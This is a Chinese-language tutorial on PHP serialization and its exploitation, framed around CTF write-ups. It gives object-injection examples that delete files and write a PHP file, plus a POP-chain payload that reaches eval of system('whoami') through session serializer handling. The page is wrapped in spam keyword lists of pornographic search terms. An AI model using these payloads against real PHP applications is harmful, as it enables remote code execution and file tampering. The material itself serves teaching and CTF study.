中文字幕在线一区二区在线,久久久精品免费观看国产,无码日日模日日碰夜夜爽,天堂av在线最新版在线,日韩美精品无码一本二本三本,麻豆精品三级国产国语,精品无码AⅤ片,国产区在线观看视频

      簡單分析PHP中序列化用法介紹

      時間:2024-08-15 18:02:59 PHP 我要投稿
      • 相關推薦

      簡單分析PHP中序列化用法介紹

        序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

        0x00 序列化函數

        serialize():返回帶有變量類型和值的字符串

        unserialize():想要將已序列化的字符串變回 PHP 的值

        測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $a  = $a;

        $this->b = $b;

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $a = 'hello';

        $b = 123;

        $c = false;

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        var_dump(serialize($a));

        var_dump(serialize($b));

        var_dump(serialize($c));

        var_dump(serialize($d));

        var_dump(serialize($e));

        ?>

        運行結果:

        string 's:5:"hello";' (length=12)

        string 'i:123;' (length=6)

        string 'b:0;' (length=4)

        string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

        string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

        序列化字符串格式: 變量類型:變量長度:變量內容 。

        如果序列化的是一個對象,序列化字符串格式為:

        變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

        將上述結果反序列化輸出,執行結果:

        string 'hello' (length=5)

        int 123

        boolean false

        object(test)[1]

        public 'a' => null

        public 'b' => string 'hellob' (length=6)

        object(test1)[1]

        public 'a' => string 'hello' (length=5)

        public 'b' => null

        0x01 對象序列化

        當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

        在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

        在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

        serialize()測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        serialize($d);

        serialize($e);

        var_dump($d);

        var_dump($e);

        ?>

        執行結果:

        b has changed b has changed

        object(test)[1]

        public 'a' => string 'helloa' (length=6)

        public 'b' => string 'hib' (length=3)

        object(test1)[2]

        public 'a' => string 'hello' (length=5)

        public 'b' => string 'hib' (length=3)

        unserialize()測試代碼:

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

        var_dump(unserialize($d));

        var_dump(unserialize($e));

        運行結果:

        a has changed

        object(test)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => string 'hellob' (length=6)

        a has changed

        object(test1)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => null

        0x02 PHP序列化的利用

        1、magic函數和序列化

        參考: php對象注入

        除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

        Class File

        {

        function __construct($var,$file1,$file2){

        $this->var = $var;

        $this->file1 = $file1;

        $this->file2 = $file2;

        echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

        }

        function __destruct(){

        unlink(dirname(__FILE__) . '/' . $this->file1);

        echo $this->file1.'deleted';

        }

        function __toString(){

        return file_get_contents($this->file2);

        }

        }

        // $file = new File('hello','123.txt','456.php');

        // var_dump(serialize($file));

        echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

        ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

        construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

        執行結果:

        123.txtdeleted

        查看源碼:

        <?php  echo 123; ?>123.txtdeleted

        將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

        如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

        http://drops.wooyun.org/papers/4820

        2、三個白帽挑戰賽第三期

        是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

        部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

        class Cache extends \ArrayObject

        {

        public $path;

        function __construct($path)

        {

        parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

        $this->path = $path;

        if(file_exists($path)){

        $this->cache = unserialize(file_get_contents($this->path));

        }

        function offset(){

        //一些不知道干嘛用的代碼

        }

        }

        function __destruct()

        {

        $cache = $this->serialize();

        file_put_contents($this->path, $cache);

        }

        }

        又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

        include('cache.php');

        $cache = new Cache('path.txt');

        這題好像是這樣的:

        通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

        path.txt:

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

        $cache = $this->serialize();

        變成了:

        $cache = serialize($this->cache);

        那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

        所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

        兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

        3、安恒ctf web3

        一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

        session上傳進度:

        參考: upload-progress

        當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

        測試代碼:

        <form action="" method="POST" enctype="multipart/form-data">

        <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

        <input type="file" name="123123" />

        <input type="submit" />

        </form>

        <?php

        session_start();

        var_dump($_SESSION);

        ?>

        (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

        session序列化處理器:

        參考: session序列化

        當session.auto_start = 0時:

        兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

        經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

        在2.php中注冊session.serialize_handler=‘php’;

        那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

        如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

        那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

        反之,如果是從php->php_serialize,是不可行的。

        當session.auto_start = 1時:

        只能注入 PHP 的內置類

        web3 源碼:

        class.php:

        <?php

        class foo1{

        public $varr;

        function __construct(){

        $this->varr = "index.php";

        }

        function __destruct(){

        if(file_exists($this->varr)){

        echo $this->varr;

        }

        echo "這是foo1的析構函數";

        }

        }

        class foo2{

        public $varr;

        public $obj;

        function __construct(){

        $this->varr = '1234567890';

        $this->obj = null;

        }

        function __toString(){

        $this->obj->execute();

        return $this->varr;

        }

        function __desctuct(){

        echo "這是foo2的析構函數";

        }

        }

        class foo3{

        public $varr;

        function execute(){

        eval($this->varr);

        }

        function __desctuct(){

        echo "這是foo3的析構函數";

        }

        }

        ?>

        index.php:

        <?php

        ini_set('session.serialize_handler', 'php');

        require("./sessionTest.php");

        session_start();

        $obj = new foo1();

        $obj->varr = "phpinfo.php";

        ?>

        想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

        所以這樣構造:

        include('class.php');

        $t1 = new foo1;

        $t2 = new foo2;

        $t3 = new foo3;

        $t3->varr = "system('whoami');";

        $t2->obj = $t3;

        $t1->varr = $t2;

        $s1 = serialize($t1);

        var_dump($s1);

        構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

        所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

        有兩類不同的插法~

        1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

        session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

        2、將序列化字符串插入post內容中

        因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

      【簡單分析PHP中序列化用法介紹】相關文章:

      簡單介紹php構造函數用法03-15

      php中dirname()和--FILE--常量的用法04-01

      PHP中的排序函數區別分析03-31

      PHP中MySQL、MySQLi和PDO的用法和區別03-10

      PHP對象注入的實例分析03-15

      PHP中curl的使用實例04-01

      PHP中關于類的定義04-01

      php中session的實現原理以及大網站應用應注意的問題分析04-01

      PHP中函數的使用說明03-30

      主站蜘蛛池模板: 欧美成人高清手机在线视频| 区无码字幕中文色| 成人无码激情视频在线观看| 激情 一区二区| 日韩中文字幕无码av| av在线网站手机播放| 日本专区一区二区三区| 精品少妇av一区二区| 寿宁县| 亚洲一区丝袜美腿在线观看| 中国产无码一区二区三区| 日韩人妻中文字幕一区二区三区| 国产美女a做受大片免费| 虹口区| 康乐县| 亚欧视频无码在线观看| 日本最新一区二区三区视频| 亚洲视频在线观看一区二区三| 久久精品国产只有精品96| 日本视频一区二区三区免费观看| 张掖市| 久久精品国产亚洲一级二级| 极品美女尤物嫩模啪啪| 免費一级欧美精品| 无码人妻丰满熟妇区免费| av手机天堂| 夫妻一起自拍内射小视频| 国产精品无码mv在线观看| 博客| 午夜在线观看视频二区| 汾阳市| 日韩人妻一级av一区二区| 日本高清在线播放一区二区三区| 新化县| 亚洲情精品中文字幕有码在线| 陈巴尔虎旗| 国产高跟黑色丝袜在线| 婷婷色在线视频中文字幕| 2020亚洲国产| 99久久综合狠狠综合久久一区 | 亚洲日本VA午夜在线电影|